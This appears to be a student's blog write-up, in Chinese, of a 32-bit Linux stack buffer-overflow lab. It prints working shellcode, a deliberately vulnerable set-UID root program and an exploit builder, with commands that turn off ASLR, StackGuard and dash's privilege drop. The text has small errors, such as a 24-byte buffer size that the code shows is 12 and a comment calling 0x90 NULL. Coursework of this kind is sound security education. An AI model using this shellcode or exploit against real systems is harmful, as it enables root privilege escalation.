20191317王鹏宇缓冲区溢出实验

缓冲区溢出实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。


实验过程:

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。 sudo ln -s zsh sh


一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

#include <stdio.h>
int main( )
{
  char *name[2];
  name[0] = ‘‘/bin/sh’’;
  name[1] = NULL;
  execve(name[0], name, NULL);
}

本次实验的shellcode,就是刚才代码的汇编版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
除了shellcode以外,我们还需要编写一个漏洞程序:

/* stack.c */
int bof(char *str)
{
char buffer[12];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

从代码中可以看出程序从名为badfile的文件中读取输入,然后传到函数bof()中的另一个缓冲区,输入的最大长度为517字节,但是bof()缓冲区只有24字节,由于strcpy()不检查边界,所以可能会发生缓冲区溢出。在编译时,需要添加-fno-stack-protector-z execstack选项以关闭StackGuard和不可执行的堆栈保护,编译之后我们需要使之成为root拥有的Set-UID程序才可以用普通用户获取root权限。
gcc -g -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack


接下来需要构造badfile内容:

/* exploit.c  */
void main(int argc, char **argv)
{
    char buffer[517];
FILE *badfile;
//ox90 代表NULL
    memset(&buffer, 0x90, 517);
    strcpy(buffer+100,shellcode);//将shellcode拷贝至buffer
    strcpy(buffer+?,"");//在buffer特定偏移处起始的四个字节覆盖shellcode地址
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

接下来我们需要找到特定的偏移地址构造四个字节,使用gdb stack进行调试


从图中可以看出,str的地址为0xbfffef47,shellcode偏移量为100即0x64,所以shellcode的地址为0xbfffefab,即填充为\xab\xef\xff\xbf。
接下来进行反汇编来查看bof函数:

这里可以看到lea -0x14(%ebp), %edx,可知buffer存储在ebp-0x14的位置,即buffer举例ebp的距离为0x14,根据上述栈帧分析可知return address位置为0x14+4(十进制)=0x18。
接下来把得到的值填充进exploit.c文件中:

实践截图:

首先我们先编译执行一下exploit.c文件:

可以看出我们成功获取了root权限,接下来我们对这个实验结果进行分析。
我们先开启Linux内存地址随机化:
sudo sysctl -w kernel.randomize_va_space=1

报错,原因是段错误,这种情况通常出现在,当程序企图访问CPU无法定址的存储器区块,所以我们可以得出一个结论,linux的内存地址随机化对于缓冲区溢出攻击是有一定保护作用的
另外,GCC编译器还实现了一种称为StackGuard的安全机制,防止缓冲区溢出。我们在实验中在编译期间使用-fno-stack-protector选项禁用此保护,而且这里我们需要允许可执行堆栈,在编译时添加execstack。另外在该系统中/bin/sh符号链接均指向/bin/dash shell,它有一个对策可以防止自身在set-uid进程中执行,如果检测到执行则将有效用户ID更改为该进程的真实用户ID,从而删除了特权,所以在这个实验中系统中将/bin/sh链接到另一个没有这个对策的shell程序:/bin/zsh,从而克服了这一点。


总结

在本实验中我遇到了很多问题,首先是操作系统的问题,一开始我的实验实在64位操作系统上进行的,但是遇到了很多问题,例如,在计算str的地址时,如果是64位的系统,就会非常难办,一长串的地址计算上比较困难,所以需要安装32位gcc编译器,但是安装总是提示出现缺失问题,又解决不了,实在是不堪其扰,重新安装了一个32位kali linux虚拟机和32位ubuntu虚拟机,总算是解决了编译器的问题。另外我在实验过程中学习了部分汇编的内容,尤其是在gdb调试过程中进一步加深了对栈帧结构的认识,对于以后在Linux系统中开发调试c语言程序奠定了良好的基础。最重要的一点是,我认识到了缓冲区溢出漏洞对系统影响的严重程度,也认识到了我们经常用到的Linux系统中采取的防止缓冲区溢出的措施,这些措施都是非常有效的,但是更重要的是程序员自身应该注意处理这方面的代码,防止被恶意用户利用,而且还要进一步提高安全措施防止黑客攻击。

posted @ 2021-10-28 20:56  Bzrael  阅读(78)  评论(0编辑  收藏  举报